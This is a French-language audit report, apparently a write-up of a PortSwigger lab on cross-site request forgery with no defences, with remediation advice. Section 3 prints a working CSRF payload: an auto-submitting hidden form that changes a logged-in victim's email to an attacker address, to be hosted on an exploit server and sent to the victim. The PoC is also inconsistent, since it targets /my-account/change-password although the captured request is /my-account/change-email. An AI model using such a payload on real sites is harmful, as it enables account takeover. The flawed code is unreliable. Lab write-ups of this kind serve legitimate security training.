

Rapport d'Audit de Sécurité

PortSwigger Web Security Academy — Vulnérabilité CSRF sans aucune défense

1. Résumé Exécutif

Cible :	Laboratoire : Falsification de requête intersite (CSRF) sans aucune défense
Vulnérabilité :	Absence de jeton anti-CSRF et de validation stricte sur les requêtes sensibles de changement d'e-mail.
Niveau de Risque :	MOYEN / ÉLEVÉ (MEDIUM)
Impact :	Modification non autorisée des données utilisateur (compte victime) par le biais d'un script tiers hébergé sur un serveur d'exploitation.

2. Description de la Vulnérabilité

La fonctionnalité de modification de l'adresse e-mail de l'application web effectue une requête `POST` sans exiger de secret imprévisible (tel qu'un jeton anti-CSRF unique) ou de vérification d'en-tête rigide. De plus, les sessions utilisateur reposent entièrement sur des cookies transmis automatiquement par le navigateur.

Un attaquant peut concevoir une page web malveillante contenant un formulaire HTML soumis automatiquement. Si une victime authentifiée visite cette page, son navigateur envoie la requête forgée vers l'application cible avec ses propres cookies de session, entraînant la modification de son adresse e-mail à son insu.

3. Preuve de Concept (PoC) & Étapes de Réalisation

Étape 1 - Interception : Capture de la requête HTTP POST de changement d'e-mail via Burp Suite Proxy (`/my-account/change-email`).

Étape 2 - Rédaction du script d'exploit : Création du payload HTML exploitant un formulaire auto-exécutable via JavaScript :

```
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-password">
  <input type="hidden" name="email" value="attacker@exploit-server.net">
</form>
<script>
  document.forms[0].submit();
</script>
```

Étape 3 - Hébergement et Livraison : Publication de la charge utile sur l'Exploit Server et livraison du lien piégé à la victime pour valider l'exploitation.

4. Recommandations de Remédiation

- **Implémentation de jetons Anti-CSRF :** Intégrer un jeton cryptographiquement fort, imprévisible et lié à la session de l'utilisateur pour chaque formulaire sensible.
- **Attributs des Cookies de Session :** Utiliser l'attribut `SameSite=Strict` ou `SameSite=Lax` sur les cookies de session pour limiter leur transmission lors de requêtes inter-sites.
- **Vérification de l'en-tête Origin/Referer :** Valider l'origine des requêtes modifiant des données critiques.

5. Conclusion

Ce laboratoire met en lumière le danger des formulaires d'action web dépourvus de protections anti-CSRF, permettant à un site tiers de compromettre l'intégrité du compte d'un utilisateur authentifié.